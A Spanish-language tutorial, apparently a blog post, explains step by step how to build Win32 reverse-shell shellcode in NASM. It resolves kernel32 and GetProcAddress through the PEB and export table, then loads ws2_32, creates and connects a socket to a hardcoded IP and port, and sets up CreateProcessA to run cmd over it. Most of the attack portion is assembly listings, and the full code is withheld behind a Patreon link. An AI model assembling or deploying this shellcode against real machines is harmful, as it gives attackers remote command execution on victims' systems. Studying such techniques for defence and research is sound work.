Una pequeña explicación de como realizar una shell para win32.

Veamos unos conceptos básicos, está explicación es realizado en nasm, esta forma no es única, hay varias formas, todo depende de tu imaginación y de como te atrevas a programarlo.

Explicaré una forma básicas de una shell pequeña, lo demás es bajo tu creatividad y responsabilidad.

Para este tutorial es necesario tener instalado windbg y usar otro debugger como x64dbg.

Algo que debes tener en cuenta para poder realizarlo, es saber manejar registros en ASM y sus ejecuciones, dejo un link a una página donde puedes aprender más.

Architecture/x32-assembly

Conceptos básicos.

Registros


64 bit
32 bit
Explicación
64 bit
rax, rbx, rcx, rdx, rsi, rdi
---
Los registros a utilizar son rdi, rsi, rdx, r8 - r10, etc.
32 bit
---
eax, ebx, ecx, edx, esi, edi
Los registros a utilizar son ebx, edx, ecx, edx, esi, edi, etc.

Tipo de datos
Memoria Bits Bytes Registro Access-Memory Allocate-Memory
char 8 1 al BYTE [ptr] db
short 16 2 ax WORD [ptr] dw
int 32 4 eax DWORD [ptr] dd
long 64 8 rax QWORD [ptr] dq

Para compilar: nasm -fwin32 -o shell.obj shell.nasm
ld -m i386pe -o .exe .obj

Antes que nada, es bueno que entiendan de donde vienen varias cosas que vamos a usar (PEB):

Abran windbg y ataquen un proceso o usen alguna aplicación de 32 bits.

Veamos lo primero que tenemos que saber, el primer objetivo es TEB



Como podemos observar PEB se encuentra en la posición 12, si lo multiplicamos por cada DWORD obtenemos 12*4=48 - 0x30 hex

Veamos que pasa si lo seguimos.



Ya encontramos PEB, algo que debemos recordar es que hay un registro en ASM que guarda TEB (fs), esto hay que recordarlo para posteriomente usarlo.

Busquemos la dirección para obervar que hay dentro de PEB





Tenemos que direccionarnos a "Ldr", ya que ahí se encuentra una estructura importante a utilizar que es "InMemoryOrderModuleList" y "Flink".

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;



Entonces cuales son lo pasos a seguir para encontrar las direcciones que necesitaremos para lograr cargar algunas librerías además de funciones.

TEB
->PEB(0x30)
->Ldr(0xc)
->InMemoryOrderModuleList(0x14)->Flink

Hay que observar que el que necesitamos es la dirección que se encuentra en el segundo Flink en el código se observará como podemos llegar ahí.

xor ecx, ecx
mov eax, [fs:ecx+0x30]
mov eax, [eax+0xc]
mov esi, [eax+0x14]
lodsd
xchg eax, esi
lodsd
mov ebx, [eax+0x10]

lodsd avanza 4 bytes del registro esi a eax en una estructura, así que sería InMemoryOrderModuleList+4 = flink(ntdll.dll)

Después se hace un xchg para meter eax nuevamente a esi y volvemos a recorrer 4 bytes para quedar InMemoryOrderModuleList+4=flink+4=flink(kernel32.dll) donde se encuentra la dirección que necesitamos para poder llegar a la base de kernel32.dll.

eax+0x10, es por un error al llegar a la dirección donde solo hay que hacer algo sencillo para solucionarlo, en el tutorial de patreon está un poco más detallado por si les interesa conocer más.



Vamos a verificar si los datos son correctos con otro debugger.





Se puede observar como los hexadecimales de la primera imagen y ebx de la segunda imagen y son iguales.

La siguiente tabla es importante porque es PE File Format

----Dos Mz Header----
----DOS Stub----
----PE File Header----
----Image_Optional_Header--
----Section Table (Data Directories)----
----Sections----

En el tutorial de patreon profundizaré un poco más, ahora solo importa saber como llegar a Data Directories, que es donde empezaremos a buscar las funciones a necesitar.

Así quedaría entonces...

e_elfanew(0x3c)
->OptionalHeader+DataDirectory(0x78)
->AddressofNames(0x20)

Observemos el código.

mov edx, [ebx+0x3c]
add edx, ebx
mov edx, [edx+0x78]
add edx, ebx
mov esi, [edx+0x20]
add esi, ebx

Cada movimiento hay que unirlo a la base de kernel32.

Ya estamos en AddressOfNames, ahora es momento de empezar a la dirección necesaria para cargar librerías y buscar las funciones necesarias y es GetProcAddress.



En el tutorial de patreon tiene una explicación más detalla sobre porque el uso de AddressOfFunctions, AddressOfNames y AddressOfNameOrdinals

Pero primero tenemos que buscar el nombre, después su ordinal y al final la dirección de la función.

-->AddressOfNames - 0x20
-->AddressOfNameOrdinals - 0x24
-->AddressOfFunctions - 0x1c

Repetimos el uso de lodsd y vamos buscamos el nombre "GetProcAddress"

J_Gp:    
GPAdd:  

inc ecx
lodsd
add eax, ebx
cmp dword[eax], 0x50746547
jnz GPAdd
cmp dword[eax+4], 0x41636f72
jnz GPAdd
cmp dword[eax+8], 0x65726464
jnz GPAdd

dec ecx

Aquí entramos en una especia de "loop" e "if"

Pueden observar como aumentamos a ecx = 1, metemos a esi en eax, le colocamos la base de kernel32 y vamos comparando cada dword hasta encontrar el nombre correcto.

Al final restamos ecx-1, porque el array de Ordinals empieza en 0 no en 1, así que hay que usar dec ecx

Algo importante a notar es que tanto AddressOfNameOrdinals como AddressOfFunctions son arrays, AddressOfNameOrdinals = [word] y AddressOfFucntions = [dword]

mov esi, [edx+0x24]
add esi, ebx
mov cx, [esi+ecx*2]
mov esi, [edx+0x1c]
add esi, ebx
mov edx, [esi+ecx*4]
add edx, ebx




Ahora solo queda empezar a cargar la librería sería así.

GetProcAddress(LoadLibrary(ws2_32.dll))

El proceso es repetitivo excepto para los parámetros.

xor edx, edx
push edx
push 0x41797261 
push 0x7262694c
push 0x64616f4c
push esp
push ebx

call [ebp-4] - Aquí está guardado GetProcAddress

mov [ebp-8], eax

Como se ve en el código, se debe meter en la pila LoadLibraryA0, se une a la base de kernel32 y se invoca con GetProcAddress y guardamos.

Ya que esta cargada la librería y tenemos la dirección, comenzamos a programar el socket.

LoadLibraryA(WSAStartup)

xor edx, edx
mov dx, 0x6c6c
push edx
push 0x642e3233
push 0x5f327377 
push esp

call [ebp-8]
mov esi, eax <-- ws2_32.dll

GetProAddress("ws2_32.dll","WSAStartup")


xor ecx, ecx
push ecx
mov cx, 0x7075
push ecx
push 0x74726174
push 0x53415357   
push esp
push esi          

call [ebp-4]  

eax - mantiene el resultado

Ya que obtuvimos las direcciones de WSAStartup, debemos empezar con los parámetros.

Antes hay que observar la estructura.

int WSAStartup(
  WORD      wVersionRequired,
  LPWSADATA lpWSAData
);
wVersionRequested = MAKEWORD( 2, 2 );
WSAStartup( wVersionRequested, &wsaData );

En el tutorial de patreon explico esta parte, vamos a continuar.

xor ecx, ecx
mov cx, 0x0190
sub esp, ecx
push esp
push ecx

call eax

Tenemos que definir el tamaño de la estructura y abrimos espacio y metemos en la pila la dirección inicial de wsaData sizeof(struct wsaData)

Ahora metemos wVersionRequested que es la mayor version 2.2 e invocamos lo guardado en eax.

Volvemos a repetir todo.

xor ecx, ecx
mov cx, 0x4174
push ecx
push 0x656b636f
push 0x53415357  
push esp
push esi          

call [ebp-4] 

GetProAddress("ws2_32.dll","WSASocketA")

Tipo de datos
Domain Type Protocol lpProtocolInfo Group g dwFlags
AF_INET | SOCK_STREAM | IPPROTO_IP
2 | 1 | 6 0| 0| 0

Con eso podemos saber que es lo que necesitamos, solo hay que meter en cada registro el dato necesario.

SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

Pero antes debemos saber como meter todos esos datos. La mejor opción es meter todo a la pila, para eso sirven los push.

xor, hace una comparación tipo not, por ejemplo, si fuera eax=1, con xor podemos decir: eax=1 not eax=1; resultado = 0

inc, incrementa +1 un registro, por ejemplo, si fuera eax=1, entonces, inc eax, sería ahora eax = 2

pop, saca de la pila el ultimo registro guardado, por ejemplo, push 0x1; push 0x2; entonces, pop eax, sería ahora eax = 2, pop eax, entonces ahora eax = 1

xor edx, edx
xor ecx, ecx
push edx        
push edx        
push edx        
mov dl, 6       
push edx
inc ecx
push ecx        
inc ecx
push ecx        

call eax

¿Cómo quedaría entonces?

WSASocketA(2,1,6,0,0,0)

Repetimos lo mismo ahora para darle indicaciones a connect

xor ecx, ecx
mov ecx, 0x74636565
shr ecx, 8
push ecx
push 0x6e6e6f63    
push esp
push esi           
      
call [ebp-4] 
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Veamos la estructura de como de ser usado.

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);
typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

Aqui debemos pensar en dos cosas, meter en la pila la IP, el Puerto y la familia.

Veamos como quedaría.

xor ecx, ecx
push 0x0100007f     
push word 0x5c11    
add cl, 2   
push word cx  

Guardamos eso en la pila y volvemos a repetir pero ahora para la estructura.

xor ecx, ecx
mov ecx, esp   <--sockaddr_in

push byte 0x16  <--sizeof(sockaddre)
push ecx        <--sockaddr_in
push edi        <--socket

call eax        <--connect

Ya tenemos lista la conexión, pero falta como crear una tubería para mandar y recibir datos. Para eso usaremos CreateProcessA.

Esta parte voy a colocar la estructura y si ya se entendió todo, será sencillo repetir todo.

Es cuestion de volver a buscar desde PE File Format y encontrar CreateProcessA.

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Hagamos un adelanto.

Metamos a la pila cmd, que es la consola de comandos.

xor edx, edx
mov edx, 0x646d6363 
shr edx, 8
push edx
mov ecx, esp

Aquí necesitas establecer dos cosas importantes de la estructura

LPSTARTUPINFOA        lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
lpStartupInfo es la cantidad de bytes 44 bytes + 16 de pProcessInformation

En el tutorial de patreon pondré más detallado esto.

push edi
push edi
push edi
push edx
push edx
xor eax, eax
inc eax
rol eax, 8
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
xor eax, eax
add al, 44
push eax
mov eax, esp

xor edi, edi
xor edx, edx
sub esp, 0x16
mov edx, esp

Y ya al final es solo darle parámetros a CreateProcessA con esto que acabamos de ver según la estructura.

Listo.

Si deseas el código completo puede apoyarme en patreon, ahí encontraras el código y más. Patreon

En github se encuentra parte del código como referencia. Github